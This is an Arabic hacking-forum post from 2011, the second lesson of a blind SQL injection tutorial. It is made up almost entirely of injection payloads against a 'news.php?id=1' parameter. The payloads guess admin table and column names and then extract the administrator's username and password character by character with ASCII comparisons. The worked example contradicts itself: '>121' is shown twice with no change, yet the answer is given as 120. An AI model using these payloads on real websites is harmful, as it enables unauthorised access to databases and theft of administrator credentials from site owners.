Admin
عدد المساهمات : 341 تاريخ التسجيل : 13/05/2011 العمل/الترفيه : مصور المزاج : Don't Play With Me
| موضوع: أسلوب Blind SQL injection الدرس الثاني الخميس أغسطس 25, 2011 9:17 pm | |
|
السلام عليكم ورحمه الله وبركاته
اليوم الموضوع تابع لدروس السكيول
......
الطريق نحو الباس و اليوزر :
طبع في هدا الجزء المهم في البلايند سكيول إنجكشن واللدي يمثل النواة :d راح نتطرق لكيفية إستخراج الباس و اليوزر عن طريق أسلوب التخمين لأن إصدار القاعدة 4 مثل ما قلنا في السابق .
بس أريد أن أشير أن في البلايند سكيول إنجكشن لا نستعمل order by و union select بل نستعمل subselect فقط عندما لا تعمل select . ولاختبار ما إدا كانت select تعمل نقوم بالآتي : [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] and (select 1)=1
وإدا فتحت الصفحة عادي ومما تغير شيء هدا يعني أنها تعمل
d: لحد هون ونقدر نقول كلامنا تماااام
والآ نبدأ في التخمين :
الأن أول شيء راح نقوم بيه هو تخمين جدول الأدمن وهنا زي ما بقول ليكو لازم ليسته تكون فيها أسماء الأعمدة و الجداول المحتملة في المواقع وكان أخي حسين سبق وأن طرحها في أحد مواضيعي search :d . يلا نشواف كيف نخمن :
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] and (select 1 from users limit
0,1)=1
وطبعا إدا فتحت الصفحة عادي وما تغير شيء يعني users هو الجدول الصحيح :d نفترض إحنا إن الصفحة تغيرت هد يعني أن تخميننا خاطىء وجب تخمين جدول آخر وهكدا .....
يلا نشوف تخمين آخر :
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] and (select 1 from admins limit 0,1)=1
وهده المرة فتحت الصفحة عادي ما تغير شيء هدا يعني التخمين صحيح وننتقل للخطوة التالية الأن نروح لكي نخمن الأعمدة و الطريقة سهلة وبسيطة شوف كيف :
مثلا نخمن عمود الأدمن : [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] and (select substring(concat(1,admin),1,1) from users limit 0,1)=1 وإدافتحت الصفحة عادي يعني موجود
أما الباس نفس الشيء: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] and (select substring(concat(1,pass),1,1) from users limit 0,1)=1 وإدافتحت الصفحة عادي يعني موجود
تمااااااام
أو نتحققق من وجودهما معا هكدا: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] and (select substring(concat(1,concat(admin,0x3a,pass)),1,1) from admins limit 0,1)=1
إد فتحت الصفحة تماااام يعني المعلومات موجودة
أوكي الأن وصلن لمرحلة لازم تركز معايا كثييييييييييير
وصلنا الآن والحمد لله لطريقة إستخراج الباس واليوزر وهي طريقة مختلفة تماما عن السكيول نجكشن العادي
أول شيء لازم يكون عندنا سكربت يترجم لينا لغة ascii : American Standard Code for Information Interchange لمزيد من المعلومات تفضل هنا: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] ومن بين السكريبتات المعروفة: ********** ascii converter بس إحنا حنعوضو بملف txt وللي مو فاهم شو يعني ascii بكل بساطة عندما نريد إستخراج اليوزر أو الباس بنستخرجهم على شكل أرقام هي ascii وبعدين بنترجمها لقيمتها الحقيقية يعن ممكن تكون حرف أو رمز أو رقم
والآن يالله نشوف كيفية إستخراج اليوزر حرف حرف [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] and ascii(substring((SELECT concat(admin,0x3a,pass) from admins limit 0,1),1,1))>66 يعني في هدا الكود أنا إبتديت في الحساب من 1==> 66 و الصفحة ما تغيرت يعني أكمل لبين ما تتغير الصفحة: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] and ascii(substring((SELECT concat(admin,0x3a,pass) from admins limit 0,1),1,1))>67 نفس الشيء نكمل : [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] and ascii(substring((SELECT concat(admin,0x3a,pass) from admins limit 0,1),1,1))>68 oooooooooooop هنا تغيرت الصفحة يعني الرقم الصحيح هو الي قبلو يني 67 وهو يمثل أول حرف من اليوزرنيم وراح نترجمو من ascii للغة العادية ونشوف : 67 ====> (C caps lock) يعني C كدا تمام يعني أول حرف من اليوزر هو C والأن ننتقل للحرف الثاني: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
news.php?id=1 and ascii(substring((SELECT concat(admin,0x3a,pass) from admins limit 0,1),2,1))>120 nO change _________________________________________________ [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
news.php?id=1 and ascii(substring((SELECT concat(admin,0x3a,pass) from admins limit 0,1),2,1))>121 nO change _________________________________________________ [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
news.php?id=1 and ascii(substring((SELECT concat(admin,0x3a,pass) from admins limit 0,1),2,1))>121
أها هنا تغير الرقم يعني الصحيح هو 120 120 ==> yلحد اآن وصلنا لحرفين Cy نكمل هاكدا لبييين ما نكمل اليوزر و الباص ..........
منقول للفائده
| |
|